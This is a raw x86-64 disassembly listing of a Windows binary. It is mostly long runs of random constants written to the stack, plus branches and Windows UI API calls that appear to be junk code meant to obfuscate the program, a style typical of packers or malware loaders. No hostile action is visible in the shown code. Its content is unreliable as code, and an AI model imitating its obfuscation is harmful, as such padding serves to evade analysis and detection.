mov qword [rsp + 0x72c8], rax
mov dword [rsp + 0x3e40], 0x3e722337
mov eax, 0x17fc
mov word [rsp + 0xfe4], ax
movabs rax, 0x182876679ba1f30a
mov qword [rsp + 0x72d0], rax
mov byte [rsp + 0x154], 0x2f
mov eax, 0x777
mov word [rsp + 0xfe8], ax
mov byte [rsp + 0x155], 0x76
mov eax, 0x2c67
mov word [rsp + 0xfec], ax
mov eax, 0x216
mov word [rsp + 0xff0], ax
movabs rax, 0x1c63bac6e79b9242
mov qword [rsp + 0x72d8], rax
mov eax, 0x771
mov word [rsp + 0xff4], ax
movabs rax, 0x50388426313ba028
mov qword [rsp + 0x72e0], rax
movabs rax, 0x217bc632c0d655ad
mov qword [rsp + 0x72e8], rax
mov eax, 0x848
mov word [rsp + 0xff8], ax
movabs rax, 0x581ef6da25ffd571
mov qword [rsp + 0x72f0], rax
mov byte [rsp + 0x156], 0x33
mov eax, 0x64b9
mov word [rsp + 0xffc], ax
mov dword [rsp + 0x3e44], 0xcbc9a9eb
movabs rax, 0x562c11e0466409aa
mov qword [rsp + 0x72f8], rax
mov eax, 0x134
mov word [rsp + 0x1000], ax
movabs rax, 0x705258dcf62ef6ef
mov qword [rsp + 0x7300], rax
mov byte [rsp + 0x157], SHDoDragDrop
mov byte [rsp + 0x158], 0x5b
mov byte [rsp + 0x159], 0xf9
movabs rax, 0xd0aab8c42d6a9a69
mov qword [rsp + 0x7308], rax
mov eax, 0x219c
mov word [rsp + 0x1004], ax
mov eax, 0x5b03
mov word [rsp + 0x1008], ax
mov eax, 0x5e28
mov word [rsp + 0x100c], ax
mov byte [rsp + 0x15a], SHDoDragDrop
mov dword [rsp + 0x3e48], 0x2091c8d6
mov byte [rsp + 0x15b], 0xb4
mov dword [rsp + 0x3e4c], 0xe6ebc8a2
mov byte [rsp + 0x15c], 0xd6
mov dword [rsp + 0x3e50], 0x9bebeee4
movabs rax, 0x51d27945e97a9f69
mov qword [rsp + 0x7310], rax
movabs rax, 0x20d014921a3ae3bb
mov qword [rsp + 0x7318], rax
mov eax, 0xa22
mov word [rsp + 0x1010], ax
mov eax, 0x43a
mov word [rsp + 0x1014], ax
mov eax, 0x3690
mov word [rsp + 0x1018], ax
movabs rax, 0x5529946d27a2944e
mov qword [rsp + 0x7320], rax
mov dword [rsp + 0x3e54], 0x7d8f2356
mov byte [rsp + 0x15d], 0xd9
mov eax, 0xbb0
mov word [rsp + 0x101c], ax
mov byte [rsp + 0x15e], 0x70
mov eax, 0xc0
mov word [rsp + 0x1020], ax
mov dword [rsp + 0x3e58], 0x51b4e100
movabs rax, 0x4f9ff89220ba1cf6
mov qword [rsp + 0x7328], rax
mov dword [rsp + 0x3e5c], 0xbc952586
mov dword [rsp + 0x3e60], 0x3e2604a5
mov eax, 0x4975
mov word [rsp + 0x1024], ax
mov eax, 0x506
mov word [rsp + 0x1028], ax
mov eax, 0xed0
mov word [rsp + 0x102c], ax
movabs rax, 0xc65b3f3b514af46e
mov qword [rsp + 0x7330], rax
movabs rax, 0x9f5a1beff8d052ab
mov qword [rsp + 0x7338], rax
mov eax, 0x674
mov word [rsp + 0x1030], ax
mov byte [rsp + 0x15f], 0x1c
mov byte [rsp + 0x160], 0x1c
mov eax, 0x3a4
mov word [rsp + 0x1034], ax
mov eax, 0xa8b
mov word [rsp + 0x1038], ax
mov eax, 0x493
mov word [rsp + 0x103c], ax
mov eax, 0x5d13
mov word [rsp + 0x1040], ax
mov byte [rsp + 0x161], 0x7b
mov dword [rsp + 0x3e64], 0x2d072dfc
mov byte [rsp + 0x162], 3
mov eax, 0x4a55
mov word [rsp + 0x1044], ax
mov eax, 0x15ad
mov word [rsp + 0x1048], ax
mov byte [rsp + 0x163], reloc.SHELL32.dll_ILSaveToStream
mov eax, 0x20a1
mov word [rsp + 0x104c], ax
mov dword [rsp + 0x3e68], 0xbbe8f33d
mov dword [rsp + 0x3e6c], 0x94a22f33
mov byte [rsp + 0x164], 0x32
mov dword [rsp + 0x3e70], 0x7f7c9f06
movabs rax, 0x269867f8edc8cefb
mov qword [rsp + 0x7340], rax
movabs rax, 0x4fb9b784559f124f
mov qword [rsp + 0x7348], rax
movabs rax, 0x297c4eea8d64ec57
mov qword [rsp + 0x7350], rax
mov dword [rsp + 0x3e74], 0x29aa9eb2
mov dword [rsp + 0x3e78], 0xd18e7fbe
mov dword [rsp + 0x3e7c], 0x96cd46b5
mov dword [rsp + 0x3e80], 0xb3a5e233
movabs rax, 0xaad7bf5749fda31
mov qword [rsp + 0x7358], rax
movabs rax, 0xb62e9795b1022fa2
mov qword [rsp + 0x7360], rax
mov byte [rsp + 0x165], 0x4f
movabs rax, 0x6c8fa1787a92e1b4
mov qword [rsp + 0x7368], rax
movabs rax, 0x189aa666801e02f8
mov qword [rsp + 0x7370], rax
mov byte [rsp + 0x166], 0x7e
mov eax, 0x7eae
mov word [rsp + 0x1050], ax
movabs rax, 0x7a465d66277c0184
mov qword [rsp + 0x7378], rax
mov dword [rsp + 0x3e84], 0x7b2b753
mov eax, 0x50cb
mov word [rsp + 0x1054], ax
mov dword [rsp + 0x3e88], 0x1190e603
mov dword [rsp + 0x3e8c], 0xca470585
movabs rax, 0x6be4a553aa5e3726
mov qword [rsp + 0x7380], rax
movabs rax, 0x5f3bf2817a92a050
mov qword [rsp + 0x7388], rax
mov dword [rsp + 0x3e90], 0xb60a116e
mov byte [rsp + 0x167], 0x70
mov byte [rsp + 0x168], 0x5c
mov dword [rsp + 0x3e94], 0x4a5f652c
movabs rax, 0x2ccbf111871eee49
mov qword [rsp + 0x7390], rax
mov eax, 0x71d
mov word [rsp + 0x1058], ax
mov byte [rsp + 0x169], reloc.COMCTL32.dll_LBItemFromPt
mov byte [rsp + 0x16a], 0xed
mov eax, 0x3fd
mov word [rsp + 0x105c], ax
mov byte [rsp + 0x16b], 0x7b
mov eax, 0x543
mov word [rsp + 0x1060], ax
mov dword [rsp + 0x3e98], 0x3c508b9
mov byte [rsp + 0x16c], 0x2b
mov dword [rsp + 0x3e9c], 0x4fe2a3d9
movabs rax, 0xff35d5f77d599149
mov qword [rsp + 0x7398], rax
mov dword [rsp + 0x3ea0], 0x2d885172
mov byte [rsp + 0x16d], reloc.SHELL32.dll_SHTestTokenMembership
mov byte [rsp + 0x16e], 0xac
movabs rax, 0x95ce9d525e91a6e8
mov qword [rsp + 0x73a0], rax
mov dword [rsp + 0x3ea4], 0x4a6b3572
mov byte [rsp + 0x16f], SHDoDragDrop
movabs rax, 0xfded6eff720469f
mov qword [rsp + 0x73a8], rax
movabs rax, 0x3c128156a27f4d62
mov qword [rsp + 0x73b0], rax
mov byte [rsp + 0x170], 0x75
mov dword [rsp + 0x3ea8], 0x5f531d07
movabs rax, 0x4053363688732d49
mov qword [rsp + 0x73b8], rax
mov eax, 0x13a
mov word [rsp + 0x1064], ax
movabs rax, 0x8e4f3aef26a64c14
mov qword [rsp + 0x73c0], rax
movabs rax, 0x7a30419aa965ee64
mov qword [rsp + 0x73c8], rax
mov dword [rsp + 0x3eac], 0x740fb49e
mov eax, 0xe32
mov word [rsp + 0x1068], ax
mov eax, 0x6390
mov word [rsp + 0x106c], ax
mov eax, 0x4c7
mov word [rsp + 0x1070], ax
mov dword [rsp + 0x3eb0], 0x6cbf068
movabs rax, 0x61e67ea5748bbda1
mov qword [rsp + 0x73d0], rax
mov eax, 0x8b
mov word [rsp + 0x1074], ax
movabs rax, 0x50b92a8111e58e8b
mov qword [rsp + 0x73d8], rax
mov eax, 0x2e3
mov word [rsp + 0x1078], ax
movabs rax, 0x58522377a5aee513
mov qword [rsp + 0x73e0], rax
mov eax, 0x1b0
mov word [rsp + 0x107c], ax
movabs rax, 0xa4c5d5753a6c6cd
mov qword [rsp + 0x73e8], rax
movabs rax, 0x4bd6f5f0426937a8
mov qword [rsp + 0x73f0], rax
mov byte [rsp + 0x171], 0x37
mov dword [rsp + 0x3eb4], 0x9963c7b7
mov dword [rsp + 0x3eb8], 0x621bd482
movabs rax, 0xa9fbf4289283c287
mov qword [rsp + 0x73f8], rax
mov dword [rsp + 0x3ebc], 0x71149e3f
movabs rax, 0x20210bd55fc554f6
mov qword [rsp + 0x7400], rax
mov dword [rsp + 0x3ec0], 0x700e5922
movabs rax, 0x62cfac69b02f9531
mov qword [rsp + 0x7408], rax
movabs rax, 0x4eb3ce644d985696
mov qword [rsp + 0x7410], rax
mov eax, 0x15d
mov word [rsp + 0x1080], ax
movabs rax, 0x1abbf5e9e5699c24
mov qword [rsp + 0x7418], rax
movabs rax, 0xc156ece1e2eeb675
mov qword [rsp + 0x7420], rax
movabs rax, 0x696d414f8e58881c
mov qword [rsp + 0x7428], rax
mov byte [rsp + 0x172], ILIsEqual
mov byte [rsp + 0x173], 0x60
movabs rax, 0x128f84be1d294b79
mov qword [rsp + 0x7430], rax
mov eax, 0x60fe
mov word [rsp + 0x1084], ax
movabs rax, 0x8366fc92805c4e5b
mov qword [rsp + 0x7438], rax
mov byte [rsp + 0x174], 9
mov eax, 0x5b1
mov word [rsp + 0x1088], ax
movabs rax, 0x36e25d976a2d2879
mov qword [rsp + 0x7440], rax
mov dword [rsp + 0x3ec4], 0x532b90
mov byte [rsp + 0x175], SHTestTokenMembership
movabs rax, 0x7cebc8b07e8b9231
mov qword [rsp + 0x7448], rax
mov eax, 0xf5f
mov word [rsp + 0x108c], ax
mov dword [rsp + 0x3ec8], 0x8cb14e05
mov eax, 0x1f27
mov word [rsp + 0x1090], ax
movabs rax, 0x2ae005fe745f7ad5
mov qword [rsp + 0x7450], rax
mov dword [rsp + 0x3ecc], 0x52f0b7dd
mov dword [rsp + 0x3ed0], 0x5bc1ab18
mov dword [rsp + 0x3ed4], 0x334c6195
movabs rax, 0xe0c5c45dbac0e3c5
mov qword [rsp + 0x7458], rax
mov byte [rsp + 0x176], 1
mov byte [rsp + 0x177], 0x5e
mov byte [rsp + 0x178], 0x41
mov byte [rsp + 0x179], 0xfe
movabs rax, 0x3290b6c195d94d03
mov qword [rsp + 0x7460], rax
mov byte [rsp + 0x17a], 0x1e
mov dword [rsp + 0x3ed8], 0x557edd9c
mov byte [rsp + 0x17b], reloc.SHELL32.dll_ILFindLastID
mov byte [rsp + 0x17c], ILIsEqual
movabs rax, 0x3c77b8d22128e299
mov qword [rsp + 0x7468], rax
mov eax, 0xcd0
mov word [rsp + 0x1094], ax
mov byte [rsp + 0x17d], 0x9b
movabs rax, 0x83759221e7b99ab5
mov qword [rsp + 0x7470], rax
mov byte [rsp + 0x17e], 0xd3
mov eax, 0x543
mov word [rsp + 0x1098], ax
mov eax, 0x1a62
mov word [rsp + 0x109c], ax
mov eax, ILIsEqual
mov word [rsp + 0x10a0], ax
mov byte [rsp + 0x17f], 3
mov dword [rsp + 0x3edc], 0x39a0e9f7
movabs rax, 0x54c71d4d4a38214c
mov qword [rsp + 0x7478], rax
movabs rax, 0x65e77c0eb240d281
mov qword [rsp + 0x7480], rax
mov dword [rsp + 0x3ee0], 0x144a54e2
movabs rax, 0xdaac5497d926083
mov qword [rsp + 0x7488], rax
mov dword [rsp + 0x3ee4], 0x85cd3d65
mov byte [rsp + 0x180], ILSaveToStream
mov eax, 0x1ef
mov word [rsp + 0x10a4], ax
mov eax, 0x8cf
mov word [rsp + 0x10a8], ax
mov dword [rsp + 0x3ee8], 0x4484e084
mov dword [rsp + 0x3eec], 0x5a8c860f
movabs rax, 0xd4cbb929dd2c53ad
mov qword [rsp + 0x7490], rax
mov eax, 0x760
mov word [rsp + 0x10ac], ax
movabs rax, 0xf61c14159f8efa0
mov qword [rsp + 0x7498], rax
mov dword [rsp + 0x3ef0], 0x7d345954
movabs rax, 0x4a75f4b059ec6ec2
mov qword [rsp + 0x74a0], rax
mov dword [rsp + 0x3ef4], 0x634d8c6c
mov byte [rsp + 0x181], 0xb3
mov dword [rsp + 0x3ef8], 0x56e958cd
mov dword [rsp + 0x3efc], 0xf252d329
movabs rax, 0x2f68fa04b769a52d
mov qword [rsp + 0x74a8], rax
mov dword [rsp + 0x3f00], 0xef695ada
mov dword [rsp + 0x3f04], 0xf62cb4e
mov eax, 0x7f0
mov word [rsp + 0x10b0], ax
mov eax, 0x5df
mov word [rsp + 0x10b4], ax
mov byte [rsp + 0x182], SHUpdateImageA
movabs rax, 0x86c4aa7b99f4573b
mov qword [rsp + 0x74b0], rax
mov byte [rsp + 0x183], reloc.SHELL32.dll_SHDoDragDrop
movabs rax, 0x67188b535906178e
mov qword [rsp + 0x74b8], rax
mov dword [rsp + 0x3f08], 0x1ab3514b
mov eax, 0x553
mov word [rsp + 0x10b8], ax
mov byte [rsp + 0x184], 0x5c
mov byte [rsp + 0x185], 0x40
mov dword [rsp + 0x3f0c], 0x1e1657ad
mov eax, 0x594e
mov word [rsp + 0x10bc], ax
mov byte [rsp + 0x186], SHUpdateImageA
mov eax, 0xcb0
mov word [rsp + 0x10c0], ax
movabs rax, 0x4f448bae6531074a
mov qword [rsp + 0x74c0], rax
mov dword [rsp + 0x3f10], 0xc8aebb27
mov byte [rsp + 0x187], 0x89
mov byte [rsp + 0x188], 0x67
mov eax, 0x40e1
mov word [rsp + 0x10c4], ax
mov byte [rsp + 0x189], 0x38
mov dword [rsp + 0x3f14], 0x454da670
movabs rax, 0xf6718822bf97c1cb
mov qword [rsp + 0x74c8], rax
mov dword [rsp + 0x3f18], 0x1930fd93
movabs rax, 0xcf5dfeca0867e76f
mov qword [rsp + 0x74d0], rax
mov dword [rsp + 0x3f1c], 0xb86fac21
mov dword [rsp + 0x3f20], 0x7e378503
mov byte [rsp + 0x18a], 0
mov dword [rsp + 0x3f24], 0x58b2bcbc
mov dword [rsp + 0x3f28], 0xe47ad9be
mov eax, reloc.SHELL32.dll_SHDoDragDrop
mov word [rsp + 0x10c8], ax
mov eax, 0x7571
mov word [rsp + 0x10cc], ax
mov dword [rsp + 0x3f2c], 0xc01faf41
movabs rax, 0x4bb0bb6c030975a4
mov qword [rsp + 0x74d8], rax
mov byte [rsp + 0x18b], 0x24
movabs rax, 0xe3cb98a3f90b998
mov qword [rsp + 0x74e0], rax
mov eax, 0x250
mov word [rsp + 0x10d0], ax
mov dword [rsp + 0x3f30], 0x4f42a5bf
mov byte [rsp + 0x18c], SHTestTokenMembership
movabs rax, 0xab58f47895ab3c3d
mov qword [rsp + 0x74e8], rax
movabs rax, 0x5695855e5bb55a73
mov qword [rsp + 0x74f0], rax
movabs rax, 0x10f55f56f318c417
mov qword [rsp + 0x74f8], rax
mov byte [rsp + 0x18d], ILSaveToStream
mov eax, 0x9a3
mov word [rsp + 0x10d4], ax
mov eax, 0xebb
mov word [rsp + 0x10d8], ax
mov dword [rsp + 0x3f34], 0x43e752f0
mov byte [rsp + 0x18e], 0x20
mov eax, 0x84
mov word [rsp + 0x10dc], ax
mov byte [rsp + 0x18f], 0xc6
mov dword [rsp + 0x3f38], 0x2215ff41
mov byte [rsp + 0x190], 0x5b
mov eax, 0x431
mov word [rsp + 0x10e0], ax
mov byte [rsp + 0x191], reloc.SHELL32.dll_ILFindChild
mov byte [rsp + 0x192], 0x72
movabs rax, 0x7251fbb9c559dec1
mov qword [rsp + 0x7500], rax
mov dword [rsp + 0x3f3c], 0x60c6415f
movabs rax, 0xd0a86af6064ecbff
mov qword [rsp + 0x7508], rax
movabs rax, 0x76be4254d6fa442a
mov qword [rsp + 0x7510], rax
mov dword [rsp + 0x3f40], 0x77c5a338
movabs rax, 0x4a9f94ec6a80a8d7
mov qword [rsp + 0x7518], rax
mov byte [rsp + 0x193], 0xd8
mov eax, 0xbb8
mov word [rsp + 0x10e4], ax
mov dword [rsp + 0x3f44], 0x28c160b
mov eax, 0x304
mov word [rsp + 0x10e8], ax
movzx eax, word [rsp + 0x10e8]
cmp eax, 0xc04
jl 0x140004f45
mov rcx, qword [rsp + 0x7520]
call qword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [rsp + 0x3f48], eax
movzx eax, word [rsp + 0x10e8]
sub eax, 0x7e7
mov word [rsp + 0x10e8], ax
mov eax, dword [rsp + 0x3aa0]
add eax, 0x6d37f35f
mov dword [rsp + 0x3aa0], eax
movzx eax, word [rsp + 0x10e8]
mov dword [rsp + 0x3f4c], eax
cmp dword [rsp + 0x3f4c], 0x953
je 0x140004f76
jmp 0x140004fc9
movzx eax, word [rsp + 0x10e8]
mov dword [rsp + 0x3f50], eax
cmp dword [rsp + 0x3f50], 0xb3a
je 0x140004f94
jmp 0x140004fb4
mov r9w, 0x41
mov r8d, dword [rsp + 0x3aa0]
mov dx, 0x93
mov ecx, dword [rsp + 0x3aa0]
call fcn.1401dce30
nop
jmp 0x140004fc4
mov cl, 0x77
call qword [sym.imp.USER32.dll_VkKeyScanA]
mov word [rsp + 0x10ec], ax
jmp 0x1401dcd30
mov byte [rsp + 0x194], 0xaf
mov dword [rsp + 0x3f54], 0x5340
mov dword [rsp + 0x3f58], 0xf88d
movsx eax, word [rsp + 0x10ec]
cmp eax, 0xb66
je 0x1401dcd2a
cmp dword [rsp + 0x3aa0], 0x5c26a43d
jle 0x14000504b
mov eax, dword [rsp + 0x3aa0]
shl eax, 0x16
mov dword [rsp + 0x3aa0], eax
lea rdx, [rsp + 0x7528]
mov rcx, qword [rsp + 0x7528]
call qword [sym.imp.USER32.dll_GetWindowPlacement]
mov dword [rsp + 0x3f5c], eax
movzx r8d, byte [rsp + 0x194]
mov edx, ILIsEqual
mov cl, 0x88
call fcn.1401dd660
nop
movsx eax, word [rsp + 0x10ec]
cmp eax, 0x6b7a
jge 0x14000513b
movzx eax, byte [rsp + 0x194]
cmp eax, 0x1d
jg 0x140005109
movsx eax, word [rsp + 0x10ec]
mov dword [rsp + 0x3f60], eax
cmp dword [rsp + 0x3f60], 0x6964
je 0x14000508d
jmp 0x140005101
mov r8d, 0xb7
mov edx, 8
mov rcx, qword [rsp + 0x7530]
call qword [sym.imp.USER32.dll_GetMenuState]
mov dword [rsp + 0x3f64], eax
movzx eax, byte [rsp + 0x194]
sar eax, 5
mov byte [rsp + 0x194], al
movzx eax, byte [rsp + 0x194]
xor eax, 0x54
mov byte [rsp + 0x194], al
mov r8d, 1
mov rdx, qword [rsp + 0x7538]
mov rcx, qword [rsp + 0x7520]
call qword [sym.imp.USER32.dll_GetUpdateRgn]
mov dword [rsp + 0x3f68], eax
mov dword [rsp + 0x3f64], 0x46458572
jmp 0x140005107
call fcn.1401dd040
nop
jmp 0x14000513b
lea rax, [rsp + 0x3f64]
mov qword [rsp + 0x7540], rax
movzx eax, byte [rsp + 0x194]
mov byte [rsp + 0x195], al
mov byte [rsp + 0x196], 0x2b
mov dword [rsp + 0x3f6c], 0xac01
mov eax, dword [rsp + 0x3f64]
mov dword [rsp + 0x3f70], eax
cmp dword [rsp + 0x3f70], 0
je 0x140005169
cmp dword [rsp + 0x3f70], 0xcfc197a2
je 0x1401dcc50
jmp 0x1401dcc76
mov eax, dword [rsp + 0x3f68]
mov dword [rsp + 0x3f74], eax
lea rax, [rsp + 0x196]
mov qword [rsp + 0x7548], rax
cmp dword [rsp + 0x3f58], 0xf5e5
jb 0x140005391
movzx eax, word [rsp + 0x10e8]
and eax, 0x56d
mov word [rsp + 0x10e8], ax
mov eax, 0x5adb
mov word [rsp + 0x10ec], ax
mov eax, dword [rsp + 0x3f64]
add eax, 0x22c308d
mov rcx, qword [rsp + 0x7540]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x196]
sub eax, 0x41
mov rcx, qword [rsp + 0x7548]
mov byte [rcx], al
mov rax, qword [rsp + 0x7548]
movsx eax, byte [rax]
add eax, 0x3c
mov byte [rsp + 0x196], al
mov rax, qword [rsp + 0x7540]
mov ecx, dword [rsp + 0x3f64]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7540]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x195]
xor eax, 0x4c
mov byte [rsp + 0x194], al
mov rax, qword [rsp + 0x7548]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x196]
or eax, ecx
mov rcx, qword [rsp + 0x7548]
mov byte [rcx], al
mov eax, dword [rsp + 0x3f64]
mov rcx, qword [rsp + 0x7540]
mov qword [rsp + 0x7550], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7550]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x7540]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x196]
sar eax, 7
mov rcx, qword [rsp + 0x7548]
mov byte [rcx], al
mov rax, qword [rsp + 0x7540]
mov ecx, dword [rsp + 0x3f64]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x7540]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3f58]
sub eax, 0x11
mov dword [rsp + 0x3f58], eax
mov rax, qword [rsp + 0x7548]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x196]
sub eax, ecx
mov rcx, qword [rsp + 0x7548]
mov byte [rcx], al
mov eax, dword [rsp + 0x3f64]
add eax, 0x998a63e9
mov rcx, qword [rsp + 0x7540]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7548]
movsx eax, byte [rax]
add eax, 0x6c
mov byte [rsp + 0x196], al
movsx eax, byte [rsp + 0x196]
sub eax, 0x7e
mov rcx, qword [rsp + 0x7548]
mov byte [rcx], al
mov eax, dword [rsp + 0x3f64]
and eax, 0xdfc2e3fd
mov rcx, qword [rsp + 0x7540]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x194]
add eax, 0xf1
mov byte [rsp + 0x195], al
movsx eax, word [rsp + 0x10ec]
sub eax, 0x4e6c
mov word [rsp + 0x10ec], ax
mov eax, dword [rsp + 0x3f64]
add eax, 0x30bff6cf
mov rcx, qword [rsp + 0x7540]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7540]
mov ecx, dword [rsp + 0x3f64]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7540]
mov dword [rcx], eax
jmp 0x140005187
lea rax, [rsp + 0x3f64]
mov qword [rsp + 0x7558], rax
mov rax, qword [rsp + 0x7558]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f64]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7540]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7558]
mov ecx, dword [rsp + 0x3f64]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x7540]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7548]
movsx eax, byte [rax]
shl eax, 5
mov byte [rsp + 0x196], al
movsx eax, word [rsp + 0x10ec]
sar eax, 0xa
mov word [rsp + 0x10ec], ax
movsx eax, byte [rsp + 0x196]
and eax, 1
mov rcx, qword [rsp + 0x7548]
mov byte [rcx], al
mov rax, qword [rsp + 0x7548]
movsx eax, byte [rax]
add eax, 0x26
mov byte [rsp + 0x196], al
mov eax, dword [rsp + 0x3f54]
add eax, 0xf5
mov dword [rsp + 0x3f54], eax
movzx eax, byte [rsp + 0x194]
sub eax, 0x54
mov byte [rsp + 0x195], al
mov rax, qword [rsp + 0x7540]
mov eax, dword [rax]
mov dword [rsp + 0x3f64], eax
mov rax, qword [rsp + 0x7558]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f64]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7540]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3aa0]
mov ecx, dword [rsp + 0x3f68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f74], eax
mov rax, qword [rsp + 0x7540]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f64]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7558]
mov dword [rcx], eax
movsx eax, word [rsp + 0x10ec]
and eax, 0x4542
mov word [rsp + 0x10ec], ax
movzx eax, word [rsp + 0x10e8]
sub eax, 0xd0a
mov word [rsp + 0x10e8], ax
movsx eax, byte [rsp + 0x196]
add eax, 0x40
mov rcx, qword [rsp + 0x7548]
mov byte [rcx], al
mov rax, qword [rsp + 0x7548]
movsx eax, byte [rax]
sub eax, 0x41
mov byte [rsp + 0x196], al
mov rax, qword [rsp + 0x7558]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3f64]
shl eax, cl
mov rcx, qword [rsp + 0x7540]
mov dword [rcx], eax
movsx eax, word [rsp + 0x10ec]
or eax, 0x476f
mov word [rsp + 0x10ec], ax
mov rax, qword [rsp + 0x7558]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f64]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7540]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7540]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x7558]
mov qword [rsp + 0x7560], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7560]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3f64], eax
mov rax, qword [rsp + 0x7558]
mov rcx, qword [rsp + 0x7540]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3f64], eax
mov rax, qword [rsp + 0x7548]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x196]
add eax, ecx
mov rcx, qword [rsp + 0x7548]
mov byte [rcx], al
mov rax, qword [rsp + 0x7548]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x196]
sub eax, ecx
mov rcx, qword [rsp + 0x7548]
mov byte [rcx], al
mov rax, qword [rsp + 0x7540]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f64]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7558]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x195]
add eax, 0x8e
mov byte [rsp + 0x194], al
mov rax, qword [rsp + 0x7548]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x196]
sub eax, ecx
mov rcx, qword [rsp + 0x7548]
mov byte [rcx], al
cmp dword [rsp + 0x3f54], 0xa962
jb 0x1400053a1
lea rax, [rsp + 0x3f64]
mov qword [rsp + 0x7568], rax
mov dword [rsp + 0x3f78], 0x54ad
mov dword [rsp + 0x3f7c], 0x79b7
movsx eax, word [rsp + 0x10ec]
add eax, 0x2692
cmp eax, 0x913
jle 0x1400057e5
mov eax, dword [rsp + 0x3f68]
mov dword [rsp + 0x3f80], eax
cmp dword [rsp + 0x3f80], 0
je 0x1400056be
cmp dword [rsp + 0x3f80], 0x4e03c6a2
je 0x1400057af
jmp 0x1400057e5
movabs rax, 0x2e827ac366f0cb2
mov qword [rsp + 0x7570], rax
mov dword [rsp + 0x3f84], 0x3fb6
movzx eax, word [rsp + 0x10e8]
cmp eax, 0x254
jne 0x1400057ad
mov eax, dword [rsp + 0x3aa0]
mov dword [rsp + 0x3f68], eax
mov rax, qword [rsp + 0x7558]
mov rcx, qword [rsp + 0x7540]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7568]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x194]
mov byte [rsp + 0x3f88], al
cmp byte [rsp + 0x3f88], 0x23
je 0x140005737
jmp 0x14000578e
mov r8d, PathYetAnotherMakeUniqueName
mov edx, 0x88
mov rcx, qword [rsp + 0x7578]
call qword [sym.imp.USER32.dll_SetMenuDefaultItem]
mov dword [rsp + 0x3f48], eax
mov rax, qword [rsp + 0x7558]
mov rcx, qword [rsp + 0x7568]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x7540]
mov dword [rcx], eax
movzx eax, word [rsp + 0x10e8]
xor eax, 0x31d
mov word [rsp + 0x10e8], ax
jmp 0x1400057ad
mov rax, qword [rsp + 0x7548]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x196]
shl eax, cl
mov rcx, qword [rsp + 0x7548]
mov byte [rcx], al
jmp 0x1400057e5
lea rax, [rsp + 0x7570]
mov qword [rsp + 0x20], rax
mov r9d, 0xd4
lea r8, [rsp + 0x7570]
mov edx, 0x72
mov rcx, qword [rsp + 0x7528]
call qword [sym.imp.USER32.dll_TileWindows]
mov word [rsp + 0x10f0], ax
mov dword [rsp + 0x3f8c], 0xec80
movsx eax, word [rsp + 0x10ec]
cmp eax, 0x44b2
jge 0x140005823
mov rax, qword [rsp + 0x7548]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x196]
add eax, ecx
mov rcx, qword [rsp + 0x7548]
mov byte [rcx], al
jmp 0x140005924
mov rax, qword [rsp + 0x7570]
mov qword [rsp + 0x7580], rax
movabs rax, 0x2e827ac366f0cb2
cmp qword [rsp + 0x7580], rax
je 0x140005860
movabs rax, 0x7c71db0bca240f2a
cmp qword [rsp + 0x7580], rax
je 0x1400058b2
jmp 0x140005924
movsx eax, word [rsp + 0x10ec]
and eax, 0xb75
mov word [section..data], ax
mov dword [rsp + 0x3f90], 0xb745
movzx eax, word [rsp + 0x10ec]
mov word [rsp + 0x10f4], ax
lea rax, [rsp + 0x7570]
mov qword [rsp + 0x7588], rax
mov rax, qword [rsp + 0x7558]
mov eax, dword [rax]
mov dword [rsp + 0x3f94], eax
jmp 0x140005924
mov rcx, qword [rsp + 0x7520]
call qword [sym.imp.USER32.dll_IsWindowVisible]
mov dword [rsp + 0x3f98], eax
mov rax, qword [rsp + 0x7568]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f94]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f64], eax
mov rax, qword [rsp + 0x7568]
mov ecx, dword [rsp + 0x3f64]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7568]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x194]
add eax, 0x50
mov byte [rsp + 0x195], al
mov ecx, 0x8f
